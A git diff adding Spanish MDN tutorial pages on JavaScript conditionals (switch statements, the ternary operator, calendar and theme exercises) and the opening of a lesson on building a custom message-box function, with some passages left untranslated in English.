+<p>Para estos casos los <a href="/en-US/docs/Web/JavaScript/Reference/Statements/switch"><code>switch</code> statements</a> son de gran ayuda — toman una sola expresión / valor como una entrada, y luego pasan a través de una serie de opciones hasta que encuentran una que coincida con ese valor, ejecutando el código correspondiente que va junto con ella. Aquí hay un pseudocódigo más para hacerte una idea:</p>
+
+<pre class="notranslate">switch (expresion) {
+  case choice1:
+    ejecuta este código
+    break;
+
+  case choice2:
+    ejecuta este código
+    break;
+
+  // Se pueden incluir todos los casos que quieras
+
+  default:
+    por si acaso, corre este código
+}</pre>
+
+<p>Aquí tenemos:</p>
+
+<ol>
+ <li><code><font face="Open Sans, arial, x-locale-body, sans-serif"><span style="background-color: #ffffff;">La palabra clave </span></font>switch</code>, seguida por un conjunto de paréntesis.</li>
+ <li>Una expresión o valor dentro de los paréntesis.</li>
+ <li>La palabra clave <code>case</code>, seguida de una elección con la expresión / valor que podría ser, seguido de dos puntos.</li>
+ <li>Algún código a correr si la elección coincide con la expresión.</li>
+ <li>Un declaración llamada <code>break</code>,  seguida de un punto y coma. Si la elección previa coincide con la expresión / valor, el explorador dejará de ejecutar el bloque de código aquí, y continuará a la siguiente línea de código. Si la opción anterior coincide con la expresión / valor, aquí el navegador deja de ejecutar el bloque de código  y pasa a cualquier código que aparezca debajo de la declaración de <code>switch</code>.</li>
+ <li>Como muchos otros casos, los que quieras.</li>
+ <li>La palabra clave <code>default</code>, seguido exactamente del mismo patrón de código que en los casos anteriores , excepto que el valor predeterminado no tiene opciónes después de él, y no es necesario que se use <code>break</code> porque no hay nada que ejecutar después de este bloque de todas formas. Esta es la opción predeterminada o por defecto que se ejecuta si ninguna de las opciones coincide.</li>
+</ol>
+
+<div class="note">
+<p><strong>Nota</strong>: No tiene que incluir la sección <code>default</code>; se puede omitir con seguridad si no hay posibilidades de que la expresión  termine igualando un valor desconocido. Sin embargo, si existe la posibilidad de que esto ocurra, debe incluirlo para evitar casos desconocidos o comportamientos extraños en tu código.</p>
+</div>
+
+<h3 id="Un_ejemplo_con_switch">Un ejemplo con switch</h3>
+
+<p>Let's have a look at a real example — we'll rewrite our weather forecast application to use a switch statement instead:</p>
+
+<pre class="brush: html notranslate">&lt;label for="weather"&gt;Select the weather type today: &lt;/label&gt;
+&lt;select id="weather"&gt;
+  &lt;option value=""&gt;--Make a choice--&lt;/option&gt;
+  &lt;option value="sunny"&gt;Sunny&lt;/option&gt;
+  &lt;option value="rainy"&gt;Rainy&lt;/option&gt;
+  &lt;option value="snowing"&gt;Snowing&lt;/option&gt;
+  &lt;option value="overcast"&gt;Overcast&lt;/option&gt;
+&lt;/select&gt;
+
+&lt;p&gt;&lt;/p&gt;</pre>
+
+<pre class="brush: js notranslate">let select = document.querySelector('select');
+let para = document.querySelector('p');
+
+select.addEventListener('change', setWeather);
+
+
+function setWeather() {
+  let choice = select.value;
+
+  switch (choice) {
+    case 'sunny':
+      para.textContent = 'It is nice and sunny outside today. Wear shorts! Go to the beach, or the park, and get an ice cream.';
+      break;
+    case 'rainy':
+      para.textContent = 'Rain is falling outside; take a rain coat and a brolly, and don\'t stay out for too long.';
+      break;
+    case 'snowing':
+      para.textContent = 'The snow is coming down — it is freezing! Best to stay in with a cup of hot chocolate, or go build a snowman.';
+      break;
+    case 'overcast':
+      para.textContent = 'It isn\'t raining, but the sky is grey and gloomy; it could turn any minute, so take a rain coat just in case.';
+      break;
+    default:
+      para.textContent = '';
+  }
+}</pre>
+
+<p>{{ EmbedLiveSample('A_switch_example', '100%', 100, "", "", "hide-codepen-jsfiddle") }}</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Tambien puedes<a href="https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/simple-switch.html"> encontrar este ejemplo en GitHub</a> (tambien puedes verlo <a href="http://mdn.github.io/learning-area/javascript/building-blocks/simple-switch.html">en ejecución aquí</a>.)</p>
+</div>
+
+<h2 id="Operador_Ternario">Operador Ternario</h2>
+
+<p>Hay una última sintaxis que queremos presentarte antes de que juegues con algunos ejemplos. El <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Conditional_Operator">operador ternario o condicional</a> es una pequeña sintaxis que prueba una condición y devuelve un valor/expresión, si es <code>true</code>, y otro si es <code>false</code> — Esto puede ser útil en algunas situaciones, y puede ocupar mucho menos código que un bloque <code>if...else</code> si simplemente tienes dos opciones que se eligen a través de una condición <code>true</code>/<code>false</code>. El pseudocódigo se ve así:</p>
+
+<pre class="notranslate">( condición ) ? ejecuta este código : ejecuta este código en su lugar</pre>
+
+<p>Veamos un ejemplo simple:</p>
+
+<pre class="brush: js notranslate">let greeting = ( isBirthday ) ? 'Happy birthday Mrs. Smith — we hope you have a great day!' : 'Good morning Mrs. Smith.';</pre>
+
+<p>Aquí tenemos una variable llamada <code>isBirthday</code> — si esta es <code>true</code>, le damos a nuestro invitado un mensaje de feliz cumpleaños; si no, le damos el saludo diario estándar.</p>
+
+<h3 id="Ejemplo_con_operador_ternario">Ejemplo con operador ternario</h3>
+
+<p>No solo puedes establecer valores variables con el operador ternario; También puedes ejecutar funciones o líneas de código — lo que quieras. El siguiente ejemplo muestra un selector de tema simple donde el estilo del sitio se aplica utilizando un operador ternario.</p>
+
+<pre class="brush: html notranslate">&lt;label for="theme"&gt;Select theme: &lt;/label&gt;
+&lt;select id="theme"&gt;
+  &lt;option value="white"&gt;White&lt;/option&gt;
+  &lt;option value="black"&gt;Black&lt;/option&gt;
+&lt;/select&gt;
+
+&lt;h1&gt;This is my website&lt;/h1&gt;</pre>
+
+<pre class="brush: js notranslate">let select = document.querySelector('select');
+let html = document.querySelector('html');
+document.body.style.padding = '10px';
+
+function update(bgColor, textColor) {
+  html.style.backgroundColor = bgColor;
+  html.style.color = textColor;
+}
+
+select.onchange = function() {
+  ( select.value === 'black' ) ? update('black','white') : update('white','black');
+}
+</pre>
+
+<p>{{ EmbedLiveSample('Ternary_operator_example', '100%', 300, "", "", "hide-codepen-jsfiddle") }}</p>
+
+<p>Aquí tenemos un elemento {{htmlelement('select')}} para elegir un tema (blanco o negro), más un simple (black or white), plus a simple {{htmlelement('h1')}} para mostrar el título de un sitio web. También tenemos una función llamada <code>update()</code>, que toma dos colores como parámetros (entradas). El color de fondo del sitio web se establece en el primer color proporcionado y el color del texto se establece en el segundo color proporcionado.</p>
+
+<p>Finalmente, también tenemos un detector de eventos <a href="/en-US/docs/Web/API/GlobalEventHandlers/onchange">onchange</a> que sirve para ejecutar una función que contiene un operador ternario. Comienza con una condición de prueba — <code>select.value === 'black'</code>. Si esto devuelve <code>true</code>, ejecutamos la función <code>update()</code> con parámetros de blanco y negro, lo que significa que terminamos con un color de fondo negro y un color de texto blanco. Si devuelve <code>false</code>, ejecutamos las función <code>update()</code> con parámetros de blanco y negro, lo que significa que el color del sitio está invertido.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: También puedes <a href="https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/simple-ternary.html">encontrar este ejemplo en GitHub</a> (y verlo <a href="http://mdn.github.io/learning-area/javascript/building-blocks/simple-ternary.html">en ejecución aquí</a>.)</p>
+</div>
+
+<h2 id="Aprendizaje_activo_Un_calendario_simple">Aprendizaje activo: Un calendario simple</h2>
+
+<p>En este ejemplo, nos ayudará a terminar una aplicación de calendario simple. En el código tienes:</p>
+
+<ul>
+ <li>Un elemento {{htmlelement("select")}} para permitir al usuario elegir entre direfentes meses.</li>
+ <li>Un controlador de eventos <code>onchange</code> para detectar cuándo se cambia el valor seleccionado en el menú de <code>&lt;select&gt;</code>.</li>
+ <li>Una función llamada <code>createCalendar()</code> que dibuja el calendario y muestra el mes correcto en el elemento {{htmlelement("h1")}}.</li>
+</ul>
+
+<p>Necesitamos que escriba una declaración condicional dentro de la función del controlador <code>onchange</code> justo debajo del comentario <code>// ADD CONDITIONAL HERE.</code> Debería:</p>
+
+<ol>
+ <li>Mire el mes seleccionado (almacenado en la variable <code>choice</code>. Este será el valor del elemento <code>&lt;select&gt;</code> después de que cambie el valor, por ejemplo "January")</li>
+ <li>Establezca una variable llamada <code>days</code> para que sea igual al número de días del mes seleccionado. Para hacer esto, tendrá que buscar el número de días en cada mes del año. Puede ignorar los años bisiestos a los efectos de este ejemplo.</li>
+</ol>
+
+<p>Sugerencias:</p>
+
+<ul>
+ <li>Se le aconseja que utilice el operador lógico OR para agrupar varios meses en una sola condición; Muchos de ellos comparten el mismo número de días.</li>
+ <li>Piense qué número de días es le más común y utilícelo como valor predeterminado.</li>
+</ul>
+
+<p>Si comete un error, siempre puede restablecer el ejemplo con el botón "Reset". Si se queda realmente atascado, presione "Show solution" para ver una solución.</p>
+
+<div class="hidden">
+<h6 id="Playable_code">Playable code</h6>
+
+<pre class="brush: html notranslate">&lt;h2&gt;Live output&lt;/h2&gt;
+&lt;div class="output" style="height: 500px;overflow: auto;"&gt;
+  &lt;label for="month"&gt;Select month: &lt;/label&gt;
+  &lt;select id="month"&gt;
+    &lt;option value="January"&gt;January&lt;/option&gt;
+    &lt;option value="February"&gt;February&lt;/option&gt;
+    &lt;option value="March"&gt;March&lt;/option&gt;
+    &lt;option value="April"&gt;April&lt;/option&gt;
+    &lt;option value="May"&gt;May&lt;/option&gt;
+    &lt;option value="June"&gt;June&lt;/option&gt;
+    &lt;option value="July"&gt;July&lt;/option&gt;
+    &lt;option value="August"&gt;August&lt;/option&gt;
+    &lt;option value="September"&gt;September&lt;/option&gt;
+    &lt;option value="October"&gt;October&lt;/option&gt;
+    &lt;option value="November"&gt;November&lt;/option&gt;
+    &lt;option value="December"&gt;December&lt;/option&gt;
+  &lt;/select&gt;
+
+  &lt;h1&gt;&lt;/h1&gt;
+
+  &lt;ul&gt;&lt;/ul&gt;
+&lt;/div&gt;
+
+&lt;h2&gt;Editable code&lt;/h2&gt;
+&lt;p class="a11y-label"&gt;Press Esc to move focus away from the code area (Tab inserts a tab character).&lt;/p&gt;
+
+&lt;textarea id="code" class="playable-code" style="height: 400px;width: 95%"&gt;
+var select = document.querySelector('select');
+var list = document.querySelector('ul');
+var h1 = document.querySelector('h1');
+
+select.onchange = function() {
+  var choice = select.value;
+
+  // ADD CONDITIONAL HERE
+
+  createCalendar(days, choice);
+}
+
+function createCalendar(days, choice) {
+  list.innerHTML = '';
+  h1.textContent = choice;
+  for (var i = 1; i &lt;= days; i++) {
+    var listItem = document.createElement('li');
+    listItem.textContent = i;
+    list.appendChild(listItem);
+  }
+}
+
+createCalendar(31,'January');
+&lt;/textarea&gt;
+
+&lt;div class="playable-buttons"&gt;
+  &lt;input id="reset" type="button" value="Reset"&gt;
+  &lt;input id="solution" type="button" value="Show solution"&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: css notranslate">.output * {
+  box-sizing: border-box;
+}
+
+.output ul {
+  padding-left: 0;
+}
+
+.output li {
+  display: block;
+  float: left;
+  width: 25%;
+  border: 2px solid white;
+  padding: 5px;
+  height: 40px;
+  background-color: #4A2DB6;
+  color: white;
+}
+
+html {
+  font-family: sans-serif;
+}
+
+h2 {
+  font-size: 16px;
+}
+
+.a11y-label {
+  margin: 0;
+  text-align: right;
+  font-size: 0.7rem;
+  width: 98%;
+}
+
+body {
+  margin: 10px;
+  background: #f5f9fa;
+}</pre>
+
+<pre class="brush: js notranslate">var textarea = document.getElementById('code');
+var reset = document.getElementById('reset');
+var solution = document.getElementById('solution');
+var code = textarea.value;
+var userEntry = textarea.value;
+
+function updateCode() {
+  eval(textarea.value);
+}
+
+reset.addEventListener('click', function() {
+  textarea.value = code;
+  userEntry = textarea.value;
+  solutionEntry = jsSolution;
+  solution.value = 'Show solution';
+  updateCode();
+});
+
+solution.addEventListener('click', function() {
+  if(solution.value === 'Show solution') {
+    textarea.value = solutionEntry;
+    solution.value = 'Hide solution';
+  } else {
+    textarea.value = userEntry;
+    solution.value = 'Show solution';
+  }
+  updateCode();
+});
+
+var jsSolution = 'var select = document.querySelector(\'select\');\nvar list = document.querySelector(\'ul\');\nvar h1 = document.querySelector(\'h1\');\n\nselect.onchange = function() {\n var choice = select.value;\n var days = 31;\n if(choice === \'February\') {\n days = 28;\n } else if(choice === \'April\' || choice === \'June\' || choice === \'September\'|| choice === \'November\') {\n days = 30;\n }\n\n createCalendar(days, choice);\n}\n\nfunction createCalendar(days, choice) {\n list.innerHTML = \'\';\n h1.textContent = choice;\n for(var i = 1; i &lt;= days; i++) {\n var listItem = document.createElement(\'li\');\n listItem.textContent = i;\n list.appendChild(listItem);\n }\n }\n\ncreateCalendar(31,\'January\');';
+var solutionEntry = jsSolution;
+
+textarea.addEventListener('input', updateCode);
+window.addEventListener('load', updateCode);
+
+// stop tab key tabbing out of textarea and
+// make it write a tab at the caret position instead
+
+textarea.onkeydown = function(e){
+  if (e.keyCode === 9) {
+    e.preventDefault();
+    insertAtCaret('\t');
+  }
+
+  if (e.keyCode === 27) {
+    textarea.blur();
+  }
+};
+
+function insertAtCaret(text) {
+  var scrollPos = textarea.scrollTop;
+  var caretPos = textarea.selectionStart;
+
+  var front = (textarea.value).substring(0, caretPos);
+  var back = (textarea.value).substring(textarea.selectionEnd, textarea.value.length);
+  textarea.value = front + text + back;
+  caretPos = caretPos + text.length;
+  textarea.selectionStart = caretPos;
+  textarea.selectionEnd = caretPos;
+  textarea.focus();
+  textarea.scrollTop = scrollPos;
+}
+
+// Update the saved userCode every time the user updates the text area code
+
+textarea.onkeyup = function(){
+  // We only want to save the state when the user code is being shown,
+  // not the solution, so that solution is not saved over the user code
+  if(solution.value === 'Show solution') {
+    userEntry = textarea.value;
+  } else {
+    solutionEntry = textarea.value;
+  }
+
+  updateCode();
+};</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Playable_code', '100%', 1110, "", "", "hide-codepen-jsfiddle") }}</p>
+
+<h2 id="Aprendizaje_activo_Más_opciones_de_colores!">Aprendizaje activo: Más opciones de colores!</h2>
+
+<p>In this example, you are going to take the ternary operator example we saw earlier and convert the ternary operator into a switch statement that will allow us to apply more choices to the simple website. Look at the {{htmlelement("select")}} — this time you'll see that it has not two theme options, but five. You need to add a switch statement just underneath the <code>// ADD SWITCH STATEMENT</code> comment:</p>
+
+<ul>
+ <li>It should accept the <code>choice</code> variable as its input expression.</li>
+ <li>For each case, the choice should equal one of the possible values that can be selected, i.e. white, black, purple, yellow, or psychedelic. Note that the values are case sensitive, and should equal the <code>&lt;option&gt;</code> element <code>value</code> values rather than the visual labels.</li>
+ <li>For each case, the <code>update()</code> function should be run, and be passed two color values, the first one for the background color, and the second one for the text color. Remember that color values are strings, so need to be wrapped in quotes. </li>
+</ul>
+
+<p>If you make a mistake, you can always reset the example with the "Reset" button. If you get really stuck, press "Show solution" to see a solution.</p>
+
+<div class="hidden">
+<h6 id="Playable_code_2">Playable code 2</h6>
+
+<pre class="brush: html notranslate">&lt;h2&gt;Live output&lt;/h2&gt;
+&lt;div class="output" style="height: 300px;"&gt;
+  &lt;label for="theme"&gt;Select theme: &lt;/label&gt;
+  &lt;select id="theme"&gt;
+    &lt;option value="white"&gt;White&lt;/option&gt;
+    &lt;option value="black"&gt;Black&lt;/option&gt;
+    &lt;option value="purple"&gt;Purple&lt;/option&gt;
+    &lt;option value="yellow"&gt;Yellow&lt;/option&gt;
+    &lt;option value="psychedelic"&gt;Psychedelic&lt;/option&gt;
+  &lt;/select&gt;
+
+  &lt;h1&gt;This is my website&lt;/h1&gt;
+&lt;/div&gt;
+
+&lt;h2&gt;Editable code&lt;/h2&gt;
+&lt;p class="a11y-label"&gt;Press Esc to move focus away from the code area (Tab inserts a tab character).&lt;/p&gt;
+
+&lt;textarea id="code" class="playable-code" style="height: 450px;width: 95%"&gt;
+var select = document.querySelector('select');
+var html = document.querySelector('.output');
+
+select.onchange = function() {
+  var choice = select.value;
+
+  // ADD SWITCH STATEMENT
+}
+
+function update(bgColor, textColor) {
+  html.style.backgroundColor = bgColor;
+  html.style.color = textColor;
+}&lt;/textarea&gt;
+
+&lt;div class="playable-buttons"&gt;
+  &lt;input id="reset" type="button" value="Reset"&gt;
+  &lt;input id="solution" type="button" value="Show solution"&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: css notranslate">html {
+  font-family: sans-serif;
+}
+
+h2 {
+  font-size: 16px;
+}
+
+.a11y-label {
+  margin: 0;
+  text-align: right;
+  font-size: 0.7rem;
+  width: 98%;
+}
+
+body {
+  margin: 10px;
+  background: #f5f9fa;
+}</pre>
+
+<pre class="brush: js notranslate">var textarea = document.getElementById('code');
+var reset = document.getElementById('reset');
+var solution = document.getElementById('solution');
+var code = textarea.value;
+var userEntry = textarea.value;
+
+function updateCode() {
+  eval(textarea.value);
+}
+
+reset.addEventListener('click', function() {
+  textarea.value = code;
+  userEntry = textarea.value;
+  solutionEntry = jsSolution;
+  solution.value = 'Show solution';
+  updateCode();
+});
+
+solution.addEventListener('click', function() {
+  if(solution.value === 'Show solution') {
+    textarea.value = solutionEntry;
+    solution.value = 'Hide solution';
+  } else {
+    textarea.value = userEntry;
+    solution.value = 'Show solution';
+  }
+  updateCode();
+});
+
+var jsSolution = 'var select = document.querySelector(\'select\');\nvar html = document.querySelector(\'.output\');\n\nselect.onchange = function() {\n var choice = select.value;\n\n switch(choice) {\n case \'black\':\n update(\'black\',\'white\');\n break;\n case \'white\':\n update(\'white\',\'black\');\n break;\n case \'purple\':\n update(\'purple\',\'white\');\n break;\n case \'yellow\':\n update(\'yellow\',\'darkgray\');\n break;\n case \'psychedelic\':\n update(\'lime\',\'purple\');\n break;\n }\n}\n\nfunction update(bgColor, textColor) {\n html.style.backgroundColor = bgColor;\n html.style.color = textColor;\n}';
+var solutionEntry = jsSolution;
+
+textarea.addEventListener('input', updateCode);
+window.addEventListener('load', updateCode);
+
+// stop tab key tabbing out of textarea and
+// make it write a tab at the caret position instead
+
+textarea.onkeydown = function(e){
+  if (e.keyCode === 9) {
+    e.preventDefault();
+    insertAtCaret('\t');
+  }
+
+  if (e.keyCode === 27) {
+    textarea.blur();
+  }
+};
+
+function insertAtCaret(text) {
+  var scrollPos = textarea.scrollTop;
+  var caretPos = textarea.selectionStart;
+
+  var front = (textarea.value).substring(0, caretPos);
+  var back = (textarea.value).substring(textarea.selectionEnd, textarea.value.length);
+  textarea.value = front + text + back;
+  caretPos = caretPos + text.length;
+  textarea.selectionStart = caretPos;
+  textarea.selectionEnd = caretPos;
+  textarea.focus();
+  textarea.scrollTop = scrollPos;
+}
+
+// Update the saved userCode every time the user updates the text area code
+
+textarea.onkeyup = function(){
+  // We only want to save the state when the user code is being shown,
+  // not the solution, so that solution is not saved over the user code
+  if(solution.value === 'Show solution') {
+    userEntry = textarea.value;
+  } else {
+    solutionEntry = textarea.value;
+  }
+
+  updateCode();
+};</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Playable_code_2', '100%', 950, "", "", "hide-codepen-jsfiddle") }}</p>
+
+<h2 id="Conclusión">Conclusión</h2>
+
+<p>And that's all you really need to know about conditional structures in JavaScript right now! I'm sure you'll have understood these concepts and worked through the examples with ease; if there is anything you didn't understand, feel free to read through the article again, or <a href="/en-US/Learn#Contact_us">contact us</a> to ask for help.</p>
+
+<h2 id="Revisa_también">Revisa también</h2>
+
+<ul>
+ <li><a href="/en-US/Learn/JavaScript/First_steps/Math#Comparison_operators">Comparison operators</a></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Guide/Control_flow_and_error_handling#Conditional_statements">Conditional statements in detail</a></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Statements/if...else">if...else reference</a></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Conditional_Operator">Conditional (ternary) operator reference</a></li>
+</ul>
+
+<p>{{NextMenu("Learn/JavaScript/Building_blocks/Looping_code", "Learn/JavaScript/Building_blocks")}}</p>
+
+<h2 id="En_este_módulo">En este módulo</h2>
+
+<ul>
+ <li><a href="/es/docs/Learn/JavaScript/Building_blocks/conditionals">Tomando decisiones en tu código - Condicionales</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Building_blocks/Looping_code">Looping code</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Building_blocks/Functions">Functions — reusable blocks of code</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Building_blocks/Build_your_own_function">Build your own function</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Building_blocks/Return_values">Function return values</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Building_blocks/Events">Introduction to events</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Building_blocks/Image_gallery">Image gallery</a></li>
+</ul>
diff --git a/files/es/learn/javascript/building_blocks/construyendo_tu_propia_funcion/index.html b/files/es/learn/javascript/building_blocks/construyendo_tu_propia_funcion/index.html
new file mode 100644
index 0000000000..5f9bcc7c8b
--- /dev/null
+++ b/files/es/learn/javascript/building_blocks/construyendo_tu_propia_funcion/index.html
@@ -0,0 +1,252 @@
+---
+title: Construye tu propia función
+slug: Learn/JavaScript/Building_blocks/Construyendo_tu_propia_funcion
+tags:
+  - Aprender
+  - Artículo
+  - Construir
+  - Funciones
+  - Guía
+  - JavaScript
+  - Principiante
+  - Tutorial
+translation_of: Learn/JavaScript/Building_blocks/Build_your_own_function
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenuNext("Learn/JavaScript/Building_blocks/Functions","Learn/JavaScript/Building_blocks/Return_values", "Learn/JavaScript/Building_blocks")}}</div>
+
+<p class="summary">Con la mayor parte de la teoría esencial tratada en el artículo anterior, este artículo proporciona experiencia práctica. Aquí obtendrás práctica construyendo tu propia función personalizada. En el camino, también explicaremos algunos detalles útiles sobre cómo tratar las funciones.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Prerequisites:</th>
+   <td>Conocimientos básicos de computación, una comprensión básica de HTML y CSS, <a href="/en-US/docs/Learn/JavaScript/First_steps">JavaScript first steps</a>, <a href="/en-US/docs/Learn/JavaScript/Building_blocks/Functions">Functions — reusable blocks of code</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Objective:</th>
+   <td>Para proporcionar algo de práctica en la construcción de una función personalizada, y explicar algunos detalles asociados más útiles.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Aprendizaje_activo_construyamos_una_función.">Aprendizaje activo: construyamos una función.</h2>
+
+<p>La función personalizada que vamos a construir se llamará <code>displayMessage()</code>. Mostrará un cuadro de mensaje personalizado en una página web y actuará como un reemplazo personalizado para la función de <a href="/en-US/docs/Web/API/Window/alert">alert()</a> incorporada de un navegador. Hemos visto esto antes, pero solo refresquemos nuestros recuerdos. Escriba lo siguiente en la consola de JavaScript de su navegador, en la página que desee:</p>
+
+<pre class="brush: js">alert('This is a message');</pre>
+
+<p>La función <code>alert</code> tiene un argumento — el string que se muestra en la alerta. Prueba a variar el string para cambiar el mensaje.</p>
+
+<p>La función <code>alert</code> es limitada: pueder cambiar el mensaje, pero no puedes cambiar de manera sencilla nada más, como el color, icono o cualquier otra cosa. Construiremos uno que resultará ser más divertido.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Este ejemplo debería funcionar bien en todos los navegadores modernos, pero el estilo puede parecer un poco divertido en los navegadores un poco más antiguos. Te recomendamos que hagas este ejercicio en un navegador moderno como Firefox, Opera o Chrome.</p>
+</div>
+
+<h2 id="La_función_básica">La función básica</h2>
+
+<p>Para empezar, vamos a poner juntos una función básica.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Para las convenciones de nombres de las funciones, debes seguir las mismas reglas que <a href="/en-US/Learn/JavaScript/First_steps/Variables#An_aside_on_variable_naming_rules">convecion de nombres de variables</a>. Esto está bien, ya que puede distinguirlos: los nombres de las funciones aparecen entre paréntesis después de ellos y las variables no.</p>
+</div>
+
+<ol>
+ <li>Comience accediendo al archivo <a href="https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/functions/function-start.html">function-start.html</a> y haciendo una copia local. Verás que el HTML es simple  — el body unicamente tiene un botón. También hemos propocionado algunos estilos básicos de CSS para customizar el mensaje y un elemento  {{htmlelement("script")}} vacío para poner nuestro JavaScript dentro.</li>
+ <li>Luego añade lo siguiente dentro del elemento <code>&lt;script&gt;</code>:
+  <pre class="brush: js">function displayMessage() {
+
+}</pre>
+  Comenzamos con la palabra clave función, lo que significa que estamos definiendo una función. A esto le sigue el nombre que queremos darle a nuestra función, un conjunto de paréntesis y un conjunto de llaves. Todos los parámetros que queremos darle a nuestra función van dentro de los paréntesis, y el código que se ejecuta cuando llamamos a la función va dentro de las llaves.</li>
+ <li>Finalmente, agregue el siguiente código dentro de las llaves:
+  <pre class="brush: js">let html = document.querySelector('html');
+
+let panel = document.createElement('div');
+panel.setAttribute('class', 'msgBox');
+html.appendChild(panel);
+
+let msg = document.createElement('p');
+msg.textContent = 'This is a message box';
+panel.appendChild(msg);
+
+let closeBtn = document.createElement('button');
+closeBtn.textContent = 'x';
+panel.appendChild(closeBtn);
+
+closeBtn.onclick = function() {
+  panel.parentNode.removeChild(panel);
+}</pre>
+ </li>
+</ol>
+
+<p>Esto es un montón de código por el que pasar, así que lo guiaremos paso a paso.</p>
+
+<p>La primera línea usa un función DOM API llamada {{domxref("document.querySelector()")}} para seleccionar el elemento {{htmlelement("html")}} y guardar una referencia a él en una variable llamada <code>html</code>, por lo que podemos hacer cosas para más adelante:</p>
+
+<pre class="brush: js">let html = document.querySelector('html');</pre>
+
+<p>La siguiente sección usa otra función del DOM API llamada {{domxref("Document.createElement()")}} para crear un elemento {{htmlelement("div")}} y guardar una referencia a él en una variable llamada <code>panel</code>. Este elemento será el contenedor exterior de nuestro cuadro de mensaje.</p>
+
+<p>Entonces usamos otra función del API DOM llamada {{domxref("Element.setAttribute()")}} para configurar un atributo a <code>class</code> en nuestro panel con un valor de <code>msgBox</code>. Esto es para facilitar el estilo del elemento. — Si echas un vistazo al CSS en la página, verás que estamos utilizando un selector de clases<code>.msgBox</code> para dar estilo al al contenedor del mensaje.</p>
+
+<p>Finalmente, llamamos a una función del DOM llamada {{domxref("Node.appendChild()")}} en la variable <code>html</code> que hemos guardado anteriormente, que anida un elemento dentro del otro como hijo de él. Hemos especificado el panel <code>&lt;div&gt;</code> como el hijo que queremos añadir dentro del elemento <code>&lt;html&gt;</code>. Debemos hacer esto ya que el elemento que creamos no aparecerá en la página por sí solo — tenemos que especificar donde ponerlo.</p>
+
+<pre class="brush: js">let panel = document.createElement('div');
+panel.setAttribute('class', 'msgBox');
+html.appendChild(panel);</pre>
+
+<p>Las siguientes dos secciones hacen uso de las mismas funciones <code>createElement()</code> y <code>appendChild()</code> que ya vimos para crear dos nuevos elementos — un {{htmlelement("p")}} y un {{htmlelement("button")}} — e insertarlo en la página como un hijo del panel <code>&lt;div&gt;</code>. Usamos su propiedad  {{domxref("Node.textContent")}} — que representa el contenido de texto de un elemento: para insertar un mensaje dentro del párrafo y una 'x' dentro del botón. Este botón será lo que necesita hacer clic / activar cuando el usuario quiera cerrar el cuadro de mensaje.</p>
+
+<pre class="brush: js">let msg = document.createElement('p');
+msg.textContent = 'This is a message box';
+panel.appendChild(msg);
+
+let closeBtn = document.createElement('button');
+closeBtn.textContent = 'x';
+panel.appendChild(closeBtn);</pre>
+
+<p>Finalmente, usamos el manejador de evento {{domxref("GlobalEventHandlers.onclick")}} para hacerlo de modo que cuando se haga clic en el botón, se ejecute algún código para eliminar todo el panel de la página, para cerrar el cuadro de mensaje.</p>
+
+<p>Brevemente, el handler <code>onclick</code> es una propiedad disponible en el botón (o, de hecho, en cualquier elemento de la página) que se puede configurar en una función para especificar qué código ejecutar cuando se hace clic en el botón. Aprenderás mucho más sobre esto en nuestro artículo de eventos posteriores. Estamos haciendo el handler <code>onclick</code> igual que una función anónima, que contiene el código para ejecutar cuando se ha hecho click en el botón. La línea dentro de la función usa la función del DOM API {{domxref("Node.removeChild()")}}  para especificar que queremos eliminar un elemento secundario específico del elemento HTML— en este caso el panel <code>&lt;div&gt;</code>.</p>
+
+<pre class="brush: js">closeBtn.onclick = function() {
+  panel.parentNode.removeChild(panel);
+}</pre>
+
+<p>Básicamente, todo este bloque de código está generando un bloque de HTML que se ve así, y lo está insertando en la página:</p>
+
+<pre class="brush: html">&lt;div class="msgBox"&gt;
+  &lt;p&gt;This is a message box&lt;/p&gt;
+  &lt;button&gt;x&lt;/button&gt;
+&lt;/div&gt;</pre>
+
+<p>Fue un montón de código con el que trabajar: ¡no te preocupes demasiado si no recuerdas exactamente cómo funciona todo ahora! La parte principal en la que queremos centrarnos aquí es la estructura y el uso de la función, pero queríamos mostrar algo interesante para este ejemplo.</p>
+
+<h2 id="Llamando_a_la_función">Llamando a la función</h2>
+
+<p>Ahora tienes la definición de tu función escrita en tu elemento &lt;script&gt; bien, pero no hará nada tal como está.</p>
+
+<ol>
+ <li>Intente incluir la siguiente línea debajo de su función para llamarla:
+  <pre class="brush: js">displayMessage();</pre>
+  Esta línea invoca la función, haciéndola correr inmediatamente. Cuando guarde el código y lo vuelva a cargar en el navegador, verá que el pequeño cuadro de mensaje aparece inmediatamente, solo una vez. Después de todo, solo lo llamamos una vez.</li>
+ <li>
+  <p>Ahora abra las herramientas de desarrollo de su navegador en la página de ejemplo, vaya a la consola de JavaScript y escriba la línea nuevamente allí, ¡verá que aparece nuevamente! Así que esto es divertido: ahora tenemos una función reutilizable que podemos llamar en cualquier momento que queramos.</p>
+
+  <p>Pero probablemente queremos que aparezca en respuesta a las acciones del usuario y del sistema. En una aplicación real, tal cuadro de mensaje probablemente se llamará en respuesta a la disponibilidad de nuevos datos, a un error, al usuario que intenta eliminar su perfil ("¿está seguro de esto?"), O al usuario que agrega un nuevo contacto y la operación completando con éxito ... etc.</p>
+
